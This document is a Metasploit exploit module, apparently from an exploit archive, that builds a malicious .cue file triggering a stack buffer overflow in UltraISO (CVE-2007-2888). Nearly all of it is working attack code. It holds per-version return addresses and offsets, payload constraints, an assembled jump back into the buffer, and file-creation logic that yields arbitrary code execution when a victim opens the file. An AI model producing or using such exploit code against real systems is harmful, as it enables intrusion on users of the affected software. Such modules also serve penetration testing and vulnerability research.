UltraISO - '.cue' File Parsing Buffer Overflow (Metasploit)

##
# $Id: ultraiso_cue.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'UltraISO CUE File Parsing Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in EZB Systems, Inc's
				UltraISO. When processing .CUE files, data is read from file into a
				fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
				can occur. Attackers can execute arbitrary code by convincing their victim
				to open an CUE file.

				NOTE: A file with the same base name, but the extension of "bin" must also
				exist. Opening either file will trigger the vulnerability, but the files must
				both exist.
			},
			'License'        => MSF_LICENSE,
			'Author' 	     =>
				[
					'n00b',  # original discovery
					'jduck' # metasploit version
				],
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2007-2888' ],
					[ 'OSVDB', '36570' ],
					[ 'BID', '24140' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/3978' ]
				],
			'Payload'        =>
				{
					'Space'       => 1024,
					'BadChars'    => "\x00\x0a\x0d\x22",
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# BOF @ 0x005e1f8b

					# The EXE base addr contains a bad char (nul). This prevents us from
					# writing data after the return address.  NOTE: An SEH exploit was
					# originally created for this vuln, but was tossed in favor of using
					# the return address method instead. This is due to the offset being
					# stable across different open methods.

					[ 'Windows - UltraISO v8.6.2.2011 portable',
						{
							'Offset' => 1100,
							'JmpOff' => 0x30,   # offset from the end to our jmp
							'Ret' => 0x00594740 # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe
						}
					],
					[ 'Windows - UltraISO v8.6.0.1936',
						{
							'Offset' => 1100,
							'JmpOff' => 0x30,   # offset from the end to our jmp
							'Ret' => 0x0059170c # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'May 24 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.cue']),
			], self.class)
	end

	def exploit

		off = target['Offset']
		jmpoff = target['JmpOff']

		sploit = "\""
		sploit << payload.encoded
		sploit << rand_text_alphanumeric(off - sploit.length)

		# Smashed return address..
		sploit[off, 4] = [target.ret].pack('V')

		# We utilize a single instruction near the end of the buffer space to
		# jump back to the beginning of the buffer..
		distance = off - jmpoff
		distance -= 1 # dont execute the quote character!
		jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
		sploit[off - jmpoff, jmp.length] = jmp

		sploit << ".BIN\""

		cue_data = "FILE "
		cue_data << sploit
		cue_data << " BINARY\r\n"
		cue_data << " TRACK 01 MODE1/2352\r\n"
		cue_data << "   INDEX 01 00:00:00\r\n"

		print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")
		file_create(cue_data)

		# create the empty BIN file
		binfn = datastore['FILENAME'].dup
		binfn.gsub!(/\.cue$/, '.bin')
		out = File.expand_path(File.join(datastore['OUTPUTPATH'], binfn))
		File.new(out,"wb").close
		print_status("Created empty output file #{out}")

	end

end